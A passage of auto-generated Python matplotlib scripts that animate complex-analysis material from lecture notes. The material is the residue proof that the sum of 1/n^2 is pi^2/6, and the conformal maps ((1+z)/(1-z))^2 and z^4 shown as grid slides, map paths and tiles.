    Ng = N if ph not in ("far", "end") else 4
    m = NA <= N
    H[0].set_data(NA[m], [psum(n) for n in NA[m]]); H[1].set_data(NA[m], [IV[n].real for n in NA[m]])
    H[2].set_data(NA[m], [-ML(n) / (2 * np.pi) for n in NA[m]])
    iv = IV[N].real; lab = r"$\max\,|\kappa|$ on $S_N$"; mk = KM[N]
    vals = ["%d" % N, "", fmt(iv), fmt(psum(N)), fmt(psum(N) + RES0), "%.4f" % (ML(N) / (2 * np.pi))]
    if ph == "grow":
        mk = kmax(s); bad = mk > 8
        square(Ng + 0.5, CCOL, lw=1.4, lab="$S_{%d}$" % Ng)
        square(s, "red" if bad else "0.35", "--", 2.0)
        lab = r"$\max\,|\kappa|$ on the dashed square"
        t = ("growing $S_{%d}\\to S_{%d}$: halfway, the sides pass through the poles $\\pm%d$" % (Ng, Ng + 1, Ng + 1),
             "the half-integer squares $S_N$ are the only ones kept")
    elif ph == "bad":
        square(4.5, CCOL, lab="$S_4$"); square(s, "red", "--", 2.2)
        mk = kmax(s); lab = r"$\max\,|\kappa|$ on the red square"
        t = ((r"Squares through the integers fail: the sides $x=\pm4$ hit the poles $\pm4$" if s == 4 else
              r"Sides $x=\pm4.05$ miss the poles, but $|\kappa|$ is large near them"),
             r"no uniform bound $A$ $\Rightarrow$ the ML estimate of Theorem 32.3 collapses")
    else:
        square(s, CCOL, lab="$S_{%d}$" % Ng)
        if ph in ("far", "end"):
            live.append(ax.text(0, -4.95, r"$S_{%d}$ is outside this fixed view (half-side $%.1f$)" % (N, N + .5),
                                ha="center", fontsize=10.5, color=CCOL, bbox=dict(fc="w", ec="none", alpha=0.85)))
        t = {"intro": (r"Lemma 32.2: on $S_N$ (half-integer sides) $|\pi\cot\pi z|\leq A$ for every $N$",
                       r"Example 32.4: $\frac{1}{2\pi i}\oint_{S_N}\frac{\kappa}{z^{2}}dz=\Sigma_{0<|n|\leq N}\frac{1}{n^{2}}+\mathrm{Res}(\frac{\kappa}{z^{2}},0)$"),
             "hold": (r"$S_{%d}$: $|\kappa|$ still below $A$, the integral is smaller" % N,
                      r"each new $S_N$ encloses two more poles $\pm N$, residues $\frac{1}{N^{2}}$ each"),
             "far": (r"$N\to\infty$: the integral $\to0$ (ML, since $\max|\kappa|\leq A$)",
                     r"so $\Sigma_{0<|n|\leq N}\frac{1}{n^{2}}\to\frac{\pi^{2}}{3}=%.6f$" % (np.pi ** 2 / 3)),
             "end": (r"$\Sigma_{n\neq0}\frac{1}{n^{2}}=\frac{\pi^{2}}{3}$, i.e. $\Sigma_{n\geq1}\frac{1}{n^{2}}=\frac{\pi^{2}}{6}=%.6f$" % (np.pi ** 2 / 6),
                     r"at $N=200$: $\Sigma_{n=1}^{200}\frac{1}{n^{2}}=%.6f$; the gap is $-\frac{1}{2}\cdot\frac{1}{2\pi i}\oint_{S_{200}}=%.6f$" % (psum(200) / 2, -IV[200].real / 2))}[ph]
    title.set_text(t[0]); sub.set_text(t[1])
    L[0][1].set_text(lab)
    vals[1] = ("\u221e" if mk == np.inf else "%.4f" % mk) + ("  \u2264 A" if mk <= A else "  > A")
    for T, x in zip(L[1][:3] + L[3][:3], vals):
        T.set_text(x)
    L[0][0].set_text("$N$" if ph != "grow" else "$N$ (last $S_N$)")
    live.append(bx.axvline(N, color="0.6", lw=0.8))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(83)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Composing: $\left(\frac{1+z}{1-z}\right)^2$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 33.4 and Figure 33.1, p. 173 (ch33-conformal.tex:112, 130); catalogue, Section 33.2, p. 173 (ch33:69)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (((1+z)/(1-z))**2)
R = 14.0                      # curves are cut beyond this radius
LIMITS = (-7, 7, -1, 13)
SUB = 'every point moves in a straight line from $z$ to $\\left(\\frac{1+z}{1-z}\\right)^2$'
TITLE = '$w=(1-s)\\,z+s\\,\\left(\\frac{1+z}{1-z}\\right)^{2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.1, 0.95, 5, 0.01, 3.1315926535897933, 7)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Composing: $\left(\frac{1+z}{1-z}\right)^2$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 33.4 and Figure 33.1, p. 173 (ch33-conformal.tex:112, 130); catalogue, Section 33.2, p. 173 (ch33:69)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(mob(mpow([[1, 1], [-1, 1]], seg(s,0,.5)), z), 1+seg(s,.5,1))
R = 14.0                      # curves are cut beyond this radius
LIMITS = (-7, 7, -1, 13)
SUB = '$\\frac{1+z}{1-z}$ takes the half-disc onto the quadrant;\nsquaring doubles the angle: onto the half-plane'
TITLE = '$\\mathrm{first}\\ \\frac{1+z}{1-z},\\ \\mathrm{then\\ square},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.1, 0.95, 5, 0.01, 3.1315926535897933, 7)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Composing: $\left(\frac{1+z}{1-z}\right)^2$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 33.4 and Figure 33.1, p. 173 (ch33-conformal.tex:112, 130); catalogue, Section 33.2, p. 173 (ch33:69)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(mob(mpow([[1, 1], [-1, 1]], seg(s,0,.5)), z), 1+seg(s,.5,1))
R = 14.0                      # curves are cut beyond this radius
LIMITS = (-4.5, 4.5, -0.5, 8.5)
SUB = '$\\frac{1+z}{1-z}$ takes the half-disc onto the quadrant; squaring doubles the angle: onto the half-plane'
TITLE = '$\\mathrm{first}\\ \\frac{1+z}{1-z},\\ \\mathrm{then\\ square},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.1, 0.95, 4, 0.01, 3.1315926535897933, 6)
HILITE = [9, 14]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^4$ opens the wedge $0<\mathrm{Arg}\,z<\pi/4$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Warning 33.3, p. 172 (ch33:55); Example 33.5, p. 173 (ch33:164); Example 33.8 (temperature in a wedge), p. 174 (ch33:219)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**4)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $z^4$'
TITLE = '$w=(1-s)\\,z+s\\,z^{4},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.1, 5, 0, 0.7853981633974483, 6)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
